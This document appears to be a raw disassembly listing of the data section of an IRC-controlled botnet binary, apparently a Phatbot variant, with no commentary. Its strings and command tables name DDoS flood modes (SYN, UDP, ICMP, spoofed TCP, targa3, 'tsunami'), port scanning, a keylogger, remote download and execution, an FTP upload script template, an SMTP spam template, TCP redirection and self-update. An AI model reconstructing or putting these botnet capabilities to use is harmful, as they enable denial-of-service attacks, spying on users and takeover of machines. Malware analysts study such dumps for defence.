aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 4
unk_429CE4	db  2Dh	; -		; DATA XREF: sub_401ACD+7180o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
dword_429D00	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_401ACD+710Eo
dword_429D14	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o
					; sub_401ACD+7C47o
unk_429D20	db  2Dh	; -		; DATA XREF: sub_401ACD+70AFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+709Eo
		align 4
dword_429D48	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+7073o
		dd 25203A29h, 73h
dword_429D64	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+7004o
		dd 203A2973h, 7325h
dword_429D80	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6FA9o
dword_429D88	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6F79o
		dd 203A2973h, 7325h
dword_429DA4	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o
dword_429DB0	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6ECEo
					; sub_401ACD+6F57o ...
dword_429DB8	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6E95o
dword_429DC0	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E84o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_429DFC	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E15o
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 4
unk_429E28	db  2Dh	; -		; DATA XREF: sub_401ACD+6D85o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_429E64	db  2Dh	; -		; DATA XREF: sub_401ACD+6D1Ao
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_429E98	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408745o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 4
dword_429ECC	dd 234032Dh, 6E69616Dh,	202D0302h, 65706552h, 203A7461h
					; DATA XREF: sub_401ACD+6C3Do
		dd 7325h
dword_429EE4	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: sub_401ACD:loc_408673o
dword_429EF8	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6B62o
					; sub_401ACD+6C14o ...
dword_429F08	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4085D0o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 10h
dword_429F50	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6AF9o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_429F8C	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A8Ao
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+69E2o
		align 4
dword_429FC4	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+6980o
		dd 7325203Ah, 0
unk_429FE0	db  2Dh	; -		; DATA XREF: sub_401ACD+6975o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42A004	db  2Dh	; -		; DATA XREF: sub_401ACD+68DBo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A040	db  2Dh	; -		; DATA XREF: sub_401ACD+6865o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 10h
dword_42A070	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40826Bo
					; sub_401ACD:loc_409366o
unk_42A07C	db  2Dh	; -		; DATA XREF: sub_401ACD+6789o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 10h
unk_42A0A0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408234o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 4
unk_42A0D8	db  2Dh	; -		; DATA XREF: sub_401ACD+675Do
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A110	db  2Dh	; -		; DATA XREF: sub_401ACD+66EDo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A13C	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+666Ao
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 4
dword_42A178	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+65FBo
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
unk_42A1A8	db  2Dh	; -		; DATA XREF: sub_401ACD+6582o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A1E0	db  2Dh	; -		; DATA XREF: sub_401ACD+6513o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42A210	db  2Dh	; -		; DATA XREF: sub_401ACD+6489o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A248	db  2Dh	; -		; DATA XREF: sub_401ACD+641Ao
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A278	db  2Dh	; -		; DATA XREF: sub_401ACD+63A1o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A2B0	db  2Dh	; -		; DATA XREF: sub_401ACD+6332o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A2EC	db  2Dh	; -		; DATA XREF: sub_401ACD+62B9o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
unk_42A32C	db  2Dh	; -		; DATA XREF: sub_401ACD+624Ao
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_42A358	db  2Dh	; -		; DATA XREF: sub_401ACD+617Bo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42A39C	db  2Dh	; -		; DATA XREF: sub_401ACD+610Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A3D8	db  2Dh	; -		; DATA XREF: sub_401ACD+600Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5F63o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5E86o
		align 4
dword_42A434	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5DF2o
					; sub_401ACD+715Ao
unk_42A440	db  2Dh	; -		; DATA XREF: sub_401ACD+5D8Eo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42A47C	db  2Dh	; -		; DATA XREF: sub_401ACD+5D1Fo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_42A4CC	db  2Dh	; -		; DATA XREF: sub_401ACD+5C88o
					; sub_401ACD+607Eo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_8	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42A504	db  2Dh	; -		; DATA XREF: sub_401ACD+5C19o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanStart	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_42A56C	db  2Dh	; -		; DATA XREF: sub_401ACD+5AA3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start scan, no IP specified.',0
		align 10h
unk_42A5A0	db  2Dh	; -		; DATA XREF: sub_401ACD+5A46o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_10	db 'Failed to start scan, port is invalid.',0
		align 4
unk_42A5D4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4073F3o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42A604	db  2Dh	; -		; DATA XREF: sub_401ACD+591Fo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5906o
aSS_2		db '-s:%s',0            ; DATA XREF: sub_401ACD+58EFo
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+58CCo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 10h
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+58A8o
					; ___:00411C61o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+5897o
		align 4
unk_42A674	db  2Dh	; -		; DATA XREF: sub_401ACD+584Do
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+582Ao
		align 4
unk_42A69C	db  2Dh	; -		; DATA XREF: sub_401ACD+57F4o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScanni	db 'Already %d scanning threads. Too many specified.',0
		align 4
unk_42A6DC	db  2Dh	; -		; DATA XREF: sub_401ACD+5797o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A714	db  2Dh	; -		; DATA XREF: sub_401ACD+572Co
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42A75C	db  2Dh	; -		; DATA XREF: sub_401ACD+567Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 10h
unk_42A790	db  2Dh	; -		; DATA XREF: sub_401ACD+5647o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42A7C4	db  2Dh	; -		; DATA XREF: sub_401ACD+5623o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42A7FC	db  2Dh	; -		; DATA XREF: sub_401ACD+5581o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o
		align 10h
unk_42A850	db  2Dh	; -		; DATA XREF: sub_401ACD+554Fo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_12	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A888	db  2Dh	; -		; DATA XREF: sub_401ACD+54E0o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 10h
unk_42A8D0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406EFFo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42A908	db  2Dh	; -		; DATA XREF: sub_401ACD+5428o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_13	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A940	db  2Dh	; -		; DATA XREF: sub_401ACD+53AEo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+539Eo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+5397o
unk_42A984	db  2Dh	; -		; DATA XREF: sub_401ACD+52FCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 10h
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+52ECo
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+52D5o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+525Fo
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+524Co
unk_42A9CC	db  2Dh	; -		; DATA XREF: sub_401ACD+51FDo
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+5189o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+509Eo
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+5087o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+5070o
		align 4
aP:					; DATA XREF: sub_401ACD+5059o
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+5042o
		align 10h
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+502Bo
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+5014o
		align 10h
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4FFDo
aU:					; DATA XREF: sub_401ACD+4FE6o
					; ___:00437F88o
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4FCFo
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4FB8o
		align 4
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4F8Ao
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4F73o
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4F5Co
		align 4
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4F36o
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4F1Fo
		align 4
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4F08o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4EF1o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4EDAo
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4EC3o
		align 4
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4EACo
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4E95o
		align 4
aJpl10		db 'jpl10',0            ; DATA XREF: sub_401ACD+4E7Eo
		align 4
aJpldg10	db 'jpldg10',0          ; DATA XREF: sub_401ACD+4E67o
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4E50o
		align 4
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4E39o
		align 4
dword_42AB08	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4E2Co
aFailedToSta_14	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42AB44	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4DBDo
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4D3Ao
		align 4
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4D23o
					; sub_401ACD+52BDo
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4D0Co
		align 4
unk_42AB8C	db  2Dh	; -		; DATA XREF: sub_401ACD+4CFFo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_15	db '- Failed to start flood thread, error: <%d>.',0
		align 4
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4C28o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4C11o
					; sub_412B08:loc_412C34o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4BFAo
					; sub_412B08:loc_412C18o
		align 10h
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4BE3o
					; sub_412B08+F1o
		align 4
aC:					; DATA XREF: sub_401ACD+4BCCo
					; ___:00437C40o ...
		unicode	0, <c>,0
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4BB5o
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4B8Co
		align 10h
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4B75o
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4B5Eo
		align 10h
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4B47o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4B30o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+4B19o
		align 4
aE:					; DATA XREF: sub_401ACD+4B02o
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+4AEBo
aJp10		db 'jp]10',0            ; DATA XREF: sub_401ACD+4AD4o
		align 4
aJpDe100	db 'jp]de100',0         ; DATA XREF: sub_401ACD+4ABDo
		align 4
aDe		db 'de',0               ; DATA XREF: sub_401ACD+4AA6o
		align 4
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4A8Fo
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4A78o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4A61o
					; sub_401ACD+6BE7o
		align 10h
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4A4Ao
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+4A33o
aT3		db 't3',0               ; DATA XREF: sub_401ACD+4A1Co
		align 10h
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+4A05o
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+49EEo
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+49D7o
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+49C0o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+49A9o
		align 10h
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+4992o
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+497Bo
		align 4
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+4964o
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+494Do
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+4936o
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+491Fo
		align 4
aM:					; DATA XREF: sub_401ACD+4908o
					; ___:00437C50o
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+48DAo
		align 4
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+48C3o
		align 4
aA:					; DATA XREF: sub_401ACD+48ACo
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+4895o
		align 10h
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+4867o
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4850o
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+4839o
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+4822o
		align 4
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+480Bo
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+47E2o
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+47CDo
aCap		db 'cap',0              ; DATA XREF: sub_401ACD+47B8o
aCapture	db 'capture',0          ; DATA XREF: sub_401ACD+47A3o
unk_42AD1C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406265o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42AD38	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40625Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401ACD+475Eo
					; sub_409B12+5F0o
		align 4
unk_42AD64	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40621Eo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42AD84	db  2Dh	; -		; DATA XREF: sub_401ACD+4747o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
aUser		db 'user',0             ; DATA XREF: sub_401ACD+46D3o
		align 4
unk_42ADAC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406193o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42ADCC	db  2Dh	; -		; DATA XREF: sub_401ACD+46BCo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 10h
aShare		db 'share',0            ; DATA XREF: sub_401ACD+466Eo
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+462Ao
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+4610o
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+45F6o
		align 4
unk_42AE14	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4060B6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42AE34	db  2Dh	; -		; DATA XREF: sub_401ACD+45DFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
aStart		db 'start',0            ; DATA XREF: sub_401ACD+45A9o
		align 10h
unk_42AE60	db  2Dh	; -		; DATA XREF: sub_401ACD+4577o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4553o
dword_42AE9C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4548o
aFailedToStartL	db '- Failed to start logging thread, error: <%d>.',0
		align 4
dword_42AED8	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+44D9o
aKeyLoggerActiv	db '- Key logger active.',0
		align 4
dword_42AEFC	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4457o
aAlreadyRunning	db '- Already running.',0
		align 4
dword_42AF1C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD:loc_405F0Eo
aNoKeyLoggerThr	db '- No key logger thread found.',0
		align 4
dword_42AF48	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4437o
aKeyLoggerStopp	db '- Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aFile		db 'file',0             ; DATA XREF: sub_401ACD+43F8o
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+43D6o
		align 4
dword_42AF94	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405E98o
aNoThreadFound_	db '- No thread found.',0
		align 4
dword_42AFB4	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43C1o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_42AFEC	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4391o
aFailedToSta_16	db '- Failed to start server, error: <%d>.',0
		align 10h
dword_42B020	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4344o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_42B04C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4334o
aAlreadyRunni_0	db '- Already running.',0
		align 4
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4301o
		align 4
unk_42B074	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DC3o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
unk_42B0A4	db  2Dh	; -		; DATA XREF: sub_401ACD+42ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
